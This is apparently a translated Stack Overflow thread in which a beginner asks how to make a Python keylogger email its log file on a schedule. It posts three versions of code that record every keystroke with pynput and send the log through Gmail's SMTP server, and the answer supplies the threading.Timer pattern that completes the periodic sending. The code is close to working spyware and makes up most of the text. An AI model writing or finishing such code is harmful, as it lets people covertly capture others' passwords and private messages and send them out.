python - 让 Python 脚本每小时执行一些操作

Question

对于一个项目，我正在开发一个 python 键盘记录器。我已经完成了按键日志记录模块和电子邮件模块，该模块将日志文件发送回给我，但在将它们合并在一起时遇到了麻烦。我希望键盘记录程序每 24 小时向我发送一封包含日志文件的电子邮件。我怎样才能做到这一点？

我尝试使用简单的 time.sleep() 延迟，但由于键盘记录模块仅在我将其作为进程杀死时才会停止，因此它永远不会达到延迟，因为你可以说它是“无限”的。

这是我当前的代码:

import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import  MIMEMultipart
from email.mime.base import MIMEBase
from email import encoders
from pynput import keyboard

#Keylogging Module
def on_press(key):
    file = open("C:\\Users\\mikur\\Desktop\\KeyLog.txt", 'a')
    file.write(str(key))
    file.close()


with keyboard.Listener(on_press=on_press) as Listener:
    Listener.join()

#Email module
email_user = 'miku.rebane@gmail.com'
email_send = 'miku.rebane@gmail.com'
subject = 'KeyLog'


msg = MIMEMultipart()
msg['From'] = email_user
msg['To']   = email_send
msg['Subject'] = subject

body = 'Log File Attached'
msg.attach(MIMEText (body, 'plain'))

filename='C:\\Users\\mikur\\Desktop\\KeyLog.txt'
attachment  =open(filename,'rb')

part = MIMEBase('application','octet-stream')
part.set_payload((attachment).read())
encoders.encode_base64(part)
part.add_header('Content-Disposition',"attachment; filename= "+filename)

msg.attach(part)
text = msg.as_string()
server = smtplib.SMTP('smtp.gmail.com',587)
server.starttls()
server.login(email_user,"mypassword")

server.sendmail(email_user,email_send,text)
server.quit()

请非常简单地解释答案，因为我是一个绝对的初学者。

编辑:这是新代码，不幸的是它不起作用。

import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import  MIMEMultipart
from email.mime.base import MIMEBase
from email import encoders
from pynput import keyboard
import threading


def on_press(key):
    file = open("C:\\Users\\mikur\\Desktop\\KeyLog.txt", 'a')
    file.write(str(key))
    file.close()


with keyboard.Listener(on_press=on_press) as Listener:
    Listener.join()

def sendlog():
    threading.Timer(10.0, sendlog).start()
    email_user = 'miku.rebane@gmail.com'
    email_send = 'miku.rebane@gmail.com'
    subject = 'KeyLog'
    msg = MIMEMultipart()
    msg['From'] = email_user
    msg['To']   = email_send
    msg['Subject'] = subject
    body = 'Log File Attached'
    msg.attach(MIMEText (body, 'plain'))
    filename='C:\\Users\\mikur\\Desktop\\KeyLog.txt'
    attachment  =open(filename,'rb')
    part = MIMEBase('application','octet-stream')
    part.set_payload((attachment).read())
    encoders.encode_base64(part)
    part.add_header('Content-Disposition',"attachment; filename= "+filename)
    msg.attach(part)
    text = msg.as_string()
    server = smtplib.SMTP('smtp.gmail.com',587)
    server.starttls()
    server.login(email_user,"mypassword")
    server.sendmail(email_user,email_send,text)
    server.quit()


sendlog()

编辑3:重新组织代码，可以工作，但发送的日志不完整。

import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import  MIMEMultipart
from email.mime.base import MIMEBase
from email import encoders
from pynput import keyboard
import threading

file = open("C:\\Users\\mikur\\Desktop\\KeyLog.txt", 'a')

 def sendlog():
    threading.Timer(10.0, sendlog).start()
    email_user = 'miku.rebane@gmail.com'
    email_send = 'miku.rebane@gmail.com'
    subject = 'KeyLog'
    msg = MIMEMultipart()
    msg['From'] = email_user
    msg['To']   = email_send
    msg['Subject'] = subject
    body = 'Log File Attached'
    msg.attach(MIMEText (body, 'plain'))
    filename='C:\\Users\\mikur\\Desktop\\KeyLog.txt'
    attachment  =open(filename,'rb')
    part = MIMEBase('application','octet-stream')
    part.set_payload((attachment).read())
    encoders.encode_base64(part)
    part.add_header('Content-Disposition',"attachment; filename= "+filename)
    msg.attach(part)
    text = msg.as_string()
    server = smtplib.SMTP('smtp.gmail.com',587)
    server.starttls()
    server.login(email_user,"password")
    server.sendmail(email_user,email_send,text)
    server.quit()


sendlog()  


#Keylogging Module
def on_press(key):
    file.write(str(key))
    file.close()


with keyboard.Listener(on_press=on_press) as Listener:
    Listener.join()

根据这个答案:https://stackoverflow.com/a/3393759/1910863

您可以使用线程计时器。以下是链接答案中的代码片段:

import threading

def printit():
    threading.Timer(5.0, printit).start()
    print "Hello, World!"

printit() 

您可以在脚本开始时调用(或调度)您的方法，并且每次触发时它都会重新调度自己。
